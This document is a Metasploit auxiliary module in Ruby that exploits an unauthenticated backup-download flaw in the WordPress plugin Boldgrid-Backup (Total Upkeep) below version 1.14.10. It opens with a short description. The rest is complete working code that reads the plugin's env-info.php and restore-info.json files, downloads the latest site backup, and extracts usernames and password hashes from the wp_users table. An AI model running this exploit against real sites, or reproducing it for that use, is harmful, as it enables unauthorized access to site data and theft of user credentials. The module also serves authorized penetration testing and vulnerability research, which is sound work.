This Metasploit module exploits an unauthenticated database backup vulnerability in WordPress plugin Boldgrid-Backup also known as Total Upkeep version < 1.14.10. First, env-info.php is read to get server information. Next, restore-info.json is read to retrieve the last backup file. That backup is then downloaded, and any sql files will be parsed looking for the wp_users INSERT statement to grab user creds.
8ab619abe5830fc334f96aa44ebe91bf5262fbdf2d37942eb3a12c5a678f4e61
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Total Upkeep Unauthenticated Backup Downloader',
'Description' => %q{
This module exploits an unauthenticated database backup vulnerability in WordPress plugin
'Boldgrid-Backup' also known as 'Total Upkeep' version < 1.14.10.
First, `env-info.php` is read to get server information. Next, `restore-info.json` is
read to retrieve the last backup file. That backup is then downloaded, and any sql
files will be parsed looking for the wp_users INSERT statement to grab user creds.
},
'References' => [
['EDB', '49252'],
['WPVDB', '10502'],
['WPVDB', '10503'],
['URL', 'https://plugins.trac.wordpress.org/changeset/2439376/boldgrid-backup']
],
'Author' => [
'Wadeek', # Vulnerability discovery
'h00die' # Metasploit module
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
},
'DisclosureDate' => '2020-12-12',
'License' => MSF_LICENSE
)
)
end
def run_host(ip)
unless wordpress_and_online?
fail_with Failure::NotVulnerable, "#{ip} - Server not online or not detected as wordpress"
end
checkcode = check_plugin_version_from_readme('boldgrid-backup', '1.14.10')
unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode)
fail_with Failure::NotVulnerable, "#{ip} - A vulnerable version of Boldgrid Backup was not found"
end
print_good("#{ip} - Vulnerable version of Boldgrid Backup detected")
print_status("#{ip} - Obtaining Server Info")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'boldgrid-backup', 'cli', 'env-info.php')
})
fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200
begin
data = JSON.parse(res.body)
rescue StandardError
fail_with Failure::NotVulnerable, "#{ip} - Unable to parse JSON output. Check response: #{res.body}"
end
output = []
data.each do |k, v|
output << " #{k}: #{v}"
end
print_good("#{ip} - \n#{output.join("\n")}")
path = store_loot(
'boldgrid-backup.server.info',
'text/json',
ip,
data,
'env-info.json'
)
print_good("#{ip} - File saved in: #{path}")
print_status("#{ip} - Obtaining Backup List from Cron")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'boldgrid-backup', 'cron', 'restore-info.json')
})
fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
fail_with Failure::NotVulnerable, "#{ip} - No database backups detected" if res.code == 404
fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200
begin
data = JSON.parse(res.body)
rescue StandardError
fail_with Failure::NotVulnerable, "#{ip} - Unable to parse JSON output. Check response: #{res.body}"
end
output = []
data.each do |k, v|
output << " #{k}: #{v}"
end
print_good("#{ip} - \n#{output.join("\n")}")
path = store_loot(
'boldgrid-backup.backup.info',
'text/json',
ip,
data,
'restore-info.json'
)
print_good("#{ip} - File saved in: #{path}")
unless data['filepath']
print_bad("#{ip} - no file found")
end
# pull a url from the local file system path
path = data['filepath'].sub(data['ABSPATH'], '')
print_status("#{ip} attempting download of #{path}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, path)
})
fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
fail_with Failure::NotVulnerable, "#{ip} - Unable to download" if res.code == 404
fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200
path = store_loot(
'boldgrid-backup.backup.zip',
'application/zip',
ip,
res.body,
path.split('/').last
)
print_good("#{ip} - Database backup (#{res.body.bytesize} bytes) saved in: #{path}")
Zip::File.open(path) do |zip_file|
# Handle entries one by one
zip_file.each do |entry|
# Extract to file
next unless entry.name.ends_with?('.sql')
print_status("#{ip} - Attempting to pull creds from #{entry}")
f = entry.get_input_stream.read
f.split("\n").each do |l|
next unless l.include?('INSERT INTO `wp_users` VALUES ')
columns = ['user_login', 'user_pass']
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)
l.split('),(').each do |user|
user = user.split(',')
username = user[1].strip
username = username.start_with?("'") ? username.gsub("'", '') : username
hash = user[2].strip
hash = hash.start_with?("'") ? hash.gsub("'", '') : hash
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: username,
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
private_data: hash,
service_name: 'Wordpress',
address: ip,
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
table << [username, hash]
end
print_good(table.to_s)
end
end
end
print_status("#{ip} - finished processing backup zip")
end
end